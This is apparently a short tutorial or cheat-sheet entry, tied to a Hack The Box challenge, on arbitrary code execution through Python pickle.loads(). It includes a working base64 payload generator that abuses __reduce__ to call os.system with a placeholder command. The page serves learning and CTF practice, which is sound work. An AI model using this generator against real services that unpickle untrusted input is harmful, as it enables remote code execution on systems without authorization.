Skip to content

Pickle

Python Pickle arbitrary code execution

Python Pickle is a serialization format for storing Python objects as bytes. Unlike a format limited to plain data, a Pickle stream can contain reconstruction instructions describing how Python should recreate an object.

pickle.loads() accepts Pickle bytes, interprets those instructions, and returns the reconstructed Python object. Some instructions call a Python callable during reconstruction. A callable is a function, class, or other Python object that can be invoked with parentheses. Attacker control over the Pickle bytes can therefore turn pickle.loads() into a code-execution sink.

Vulnerable sink

The encoded value is decoded into bytes and passed directly to pickle.loads():

decoded_value = base64.b64decode(encoded_value)
deserialized_value = pickle.loads(decoded_value)

base64.b64decode() only removes the transport encoding. pickle.loads() is the operation that deserializes the object and executes its reconstruction instructions.

The input flow is:

Base64-encoded input
-> base64.b64decode()
-> serialized Pickle bytes
-> pickle.loads()
-> object reconstruction
-> callable execution

Payload generator

__reduce__() is a special method used by Pickle to ask an object how it should be reconstructed. It returns two important values: the callable to execute and a tuple containing the arguments passed to that callable. This payload selects the os.system function and supplies the operating-system command as its only argument.

import base64
import os
import pickle

def prepare_payload(command):
    class RCE:
        def __reduce__(self):
            reduction = os.system, (command,)
            return reduction

    payload_object = RCE()
    serialized_payload = pickle.dumps(payload_object)
    encoded_payload = base64.b64encode(serialized_payload)
    payload = encoded_payload.decode()
    return payload

command = "<COMMAND>"
payload = prepare_payload(command)
print(payload)

pickle.dumps() runs locally and asks the payload object’s __reduce__() method for its reconstruction instructions. It writes the selected function and arguments into the Pickle byte stream; it does not call os.system locally. The target later interprets those instructions with pickle.loads(), which calls os.system(command) during reconstruction.

Find by: python deserialization, pickle, pickle loads, pickle dumps, unsafe pickle, reduce, reduce, object reconstruction, arbitrary code execution, os system, base64 pickle, payload generator · Source: HTB/C.O.P.